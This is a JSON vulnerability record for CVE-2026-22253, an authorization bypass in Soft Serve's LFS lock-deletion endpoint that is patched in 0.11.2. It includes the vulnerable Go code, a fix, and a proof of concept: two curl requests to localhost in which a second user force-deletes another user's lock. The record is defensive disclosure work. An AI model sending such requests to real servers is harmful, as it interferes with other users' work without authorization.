{"id":"CVE-2026-22253","aliases":["CVE-2026-22253","GHSA-6jm8-x3g6-r33j","GO-2026-4290"],"related":[],"kind":"vulnerability","state":"published","title":"Soft Serve is missing an authorization check in LFS lock deletion","summary":"Soft Serve is a self-hostable Git server for the command line. Prior to version 0.11.2, an authorization bypass in the LFS lock deletion endpoint allows any authenticated user with repository write access to delete locks owned by other users by setting the force flag. The vulnerable code path processes force deletions before retrieving user context, bypassing ownership validation entirely. This issue has been patched in version 0.11.2.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Soft Serve is a self-hostable Git server for the command line. Prior to version 0.11.2, an authorization bypass in the LFS lock deletion endpoint allows any authenticated user with repository write access to delete locks owned by other users by setting the force flag. The vulnerable code path processes force deletions before retrieving user context, bypassing ownership validation entirely. This issue has been patched in version 0.11.2.","source":"cvelist"},{"lang":"en","text":"## LFS Lock Force-Delete Authorization Bypass\n\n### Summary\n\nAn authorization bypass in the LFS lock deletion endpoint allows any authenticated user with repository write access to delete locks owned by other users by setting the `force` flag. The vulnerable code path processes force deletions before retrieving user context, bypassing ownership validation entirely.\n\n### Severity\n\n- **CWE-863:** Incorrect Authorization\n- **CVSS 3.1:** 5.4 (Medium) — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L`\n\n### Affected Code\n\n**File:** `pkg/web/git_lfs.go`\n**Function:** `serviceLfsLocksDelete` (lines 831–945)\n**Endpoint:** `POST /<repo>.git/info/lfs/locks/:lockID/unlock`\n\nThe control flow processes `req.Force` at line 905 before retrieving user context at line 919:\n\n```go\n// Line 905-916: Force delete executes immediately without authorization\nif req.Force {\n    if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil {\n        // ...\n    }\n    renderJSON(w, http.StatusOK, l)\n    return  // Returns here, never reaching user validation\n}\n\n// Line 919: User context retrieved after force path has exited\nuser := proto.UserFromContext(ctx)\n```\n\n### Proof of Concept\n\n**Setup:** Two users with write access to the same repository—User A (lock owner) and User B (attacker).\n\n1. **User A creates a lock:**\n   ```bash\n   curl -X POST http://localhost:23232/repo.git/info/lfs/locks \\\n     -H \"Authorization: Basic <user_a_token>\" \\\n     -H \"Content-Type: application/vnd.git-lfs+json\" \\\n     -d '{\"path\": \"protected-file.bin\"}'\n   ```\n\n2. **User B deletes User A's lock using force flag:**\n   ```bash\n   curl -X POST http://localhost:23232/repo.git/info/lfs/locks/1/unlock \\\n     -H \"Authorization: Basic <user_b_token>\" \\\n     -H \"Content-Type: application/vnd.git-lfs+json\" \\\n     -d '{\"force\": true}'\n   ```\n\n3. **Result:** Lock deleted successfully with `200 OK`. Expected: `403 Forbidden`.\n\n### Suggested Fix\n\nRetrieve user context and validate authorization before processing the force flag:\n\n```go\nuser := proto.UserFromContext(ctx)\nif user == nil {\n    renderJSON(w, http.StatusUnauthorized, lfs.ErrorResponse{\n        Message: \"unauthorized\",\n    })\n    return\n}\n\nif req.Force {\n    if !user.IsAdmin() {\n        renderJSON(w, http.StatusForbidden, lfs.ErrorResponse{\n            Message: \"admin access required for force delete\",\n        })\n        return\n    }\n    if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil {\n        // ...\n    }\n    renderJSON(w, http.StatusOK, l)\n    return\n}\n```\n\n### Impact\n\n**Affected Deployments:** Soft Serve instances with LFS enabled and repositories with multiple collaborators.\n\n**Exploitation Requirements:**\n- Authenticated session\n- Write access to target repository\n\n**Consequences:**\n- Unauthorized deletion of other users' locks\n- Bypass of LFS file coordination mechanisms\n- Potential workflow disruption in collaborative environments\n\n**Limitations:** Does not grant file access, escalate repository permissions, or affect repositories where the attacker lacks write access.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Soft Serve is missing an authorization check in LFS lock deletion in github.com/charmbracelet/soft-serve","format":"markdown","source":"go"},{"lang":"es","text":"Soft Serve es un servidor Git autoalojable para la línea de comandos. Antes de la versión 0.11.2, una omisión de autorización en el endpoint de eliminación de bloqueos LFS permite a cualquier usuario autenticado con acceso de escritura al repositorio eliminar bloqueos propiedad de otros usuarios al establecer la bandera de forzado. La ruta de código vulnerable procesa las eliminaciones forzadas antes de recuperar el contexto del usuario, omitiendo completamente la validación de propiedad. Este problema ha sido parcheado en la versión 0.11.2.","source":"nvd"}],"published":"2026-01-08T18:39:57.714Z","modified":"2026-06-17T10:19:38.473Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L","score":5.4,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L","score":5.4,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L","score":5.4,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L","score":5.4,"rating":"MEDIUM"}],"cwes":["CWE-863"],"affected":[{"ranges":[{"version":"< 0.11.2","status":"affected"}],"vendor":"charmbracelet","product":"soft-serve","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.11.2"}],"ecosystem":"Go","package":"github.com/charmbracelet/soft-serve","purl":"pkg:golang/github.com/charmbracelet/soft-serve","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.11.2"}],"ecosystem":"Go","package":"github.com/charmbracelet/soft-serve","purl":"pkg:golang/github.com/charmbracelet/soft-serve","source":"go"},{"ranges":[{"status":"affected","fixed":"0.11.2"}],"vendor":"charm","product":"soft_serve","cpe":"cpe:2.3:a:charm:soft_serve:*:*:*:*:*:go:*:*","source":"nvd"}],"references":[{"url":"https://github.com/charmbracelet/soft-serve/security/advisories/GHSA-6jm8-x3g6-r33j","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/charmbracelet/soft-serve/commit/000ab5164f0be68cf1ea6b6e7227f11c0e388a42","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22253","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/charmbracelet/soft-serve","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-01-08T18:51:06.311Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-22253","url":"https://www.cve.org/CVERecord?id=CVE-2026-22253","licence":"CVE Terms of Use","modified":"2026-01-08T18:51:14.716Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-6jm8-x3g6-r33j","url":"https://github.com/advisories/GHSA-6jm8-x3g6-r33j","licence":"CC-BY-4.0","modified":"2026-02-03T03:15:16.159Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-4290","url":"https://pkg.go.dev/vuln/GO-2026-4290","licence":"CC-BY-4.0","modified":"2026-03-03T04:57:53.289Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-22253","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22253","licence":"Public domain","modified":"2026-06-17T10:19:38.473Z"}],"updatedAt":"2026-11-25T22:59:12.681Z","epss":{"score":0.00303,"percentile":0.24882,"date":"2026-12-01T12:00:22.000Z"}}